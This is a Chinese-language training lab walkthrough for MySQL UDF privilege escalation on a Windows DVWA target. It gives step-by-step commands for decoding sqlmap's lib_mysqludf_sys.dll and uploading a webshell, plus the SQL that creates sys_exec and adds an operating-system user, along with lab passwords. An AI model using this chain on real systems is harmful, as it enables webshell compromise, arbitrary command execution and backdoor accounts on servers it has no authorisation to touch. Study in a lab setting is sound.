基于Mysql的UDF提权(Windows系统)2
【实验目的】
通过本实验理解如何通过webshell结合sqlmap自带的dll文件对Windows系统进行UDF提权,熟悉UDF提权的主要方法。
攻击机:Kali-pri
用户名college,密码360College
webshell脚本:dama.php
目标靶机:Win2003-DVWA
用户名college,密码360College
【实验原理】
UDF(用户定义函数)是一类对MYSQL服务器功能进行扩充的代码,通常是用C(或C++)写的。通过添加新函数,性质就像使用本地MYSQL函数abs()或concat()。当你需要扩展MYSQL服务器功能时,UDF通常是最好的选择。但同时,UDF也是黑客们在拥有低权限mysql账号时比较好用的一种提权方法。
【实验步骤】
1.在靶机Win2003-DVWA上,启动phpstudy,开启漏洞环境。
2.将Kali系统中sqlmap自带的udf提权库文件进行解码。
在Kali攻击机上,启动终端,依次输入如下命令:
(1)sudo su
//切换到root用户
(2)cd /usr/share/sqlmap/extra/cloak/
//进入cloak目录
(3)python cloak.py -d -i /usr/share/sqlmap/udf/mysql/windows/32/lib_mysqludf_sys.dll_
//将lib_mysqludf_sys.dll_进行解码
解码后,在/usr/share/sqlmap/udf/mysql/windows/32目录下会生成一个名为“lib_mysqludf_sys.dll”的解码后的dll文件。
3.在Kali攻击机上,启动Firefox浏览器,登录靶机上的DVWA网站。 网站的URL为:http://【靶机IP地址】/dvwa 登录用户名为admin,密码为password
4.成功登录DVWA网站后,选择网站左侧菜单“DVWA Security”,将DVWA网站安全等级设置为“Low”。
5.选择网站左侧菜单“File Upload”,将Kali攻击机/usr路径下的dama.php(实验中所用的webshell)文件上传至靶机。
6.dama.php上传成功后,在攻击机浏览的地址栏中输入如下URL连接dama.php:
http://【靶机IP地址】/dvwa/hackable/uploads/dama.php
出现登录提示框时,输入密码hucyuansheng登录。
7.成功登录dama.php后,选择左侧菜单“本地磁盘”->“本地磁盘(C:)”,利用dama.php在靶机C:/Program Files/phpStudy/MySQL/lib目录下创建名为plugin的文件夹。
创建完成后,将Kali攻击机/usr/share/sqlmap/udf/mysql/windows/32路径下的lib_mysqludf_sys.dll文件上传至靶机C:/Program Files/phpStudy/MySQL/lib/plugin目录中。
注意:上传的文件是解码后的lib_mysqludf_sys.dll,不是未解码的lib_mysqludf_sys.dll_ !
8.仍然在dama.php主界面上,选择左侧菜单“提权工具”->“执行SQL执行”,在命令框中输入如下SQL命令:
(1)create function sys_exec returns string soname ‘lib_mysqludf_sys.dll’;
利用该命令创建sys_exec函数。
(2)select sys_exec(‘net user admin34 admin34 /add’);
利用创建的sys_exec函数执行系统命令,在靶机操作系统中添加用户admin34。
9.在靶机上验证攻击效果:在cmd下输入net user命令,会看到靶机操作系统中被添加了一个用户“admin34”。
实验至此结束。
【思考与总结】
通过本次实验,掌握了利用webshell结合sqlmap自带的dll文件对Windows系统进行UDF提权的方法。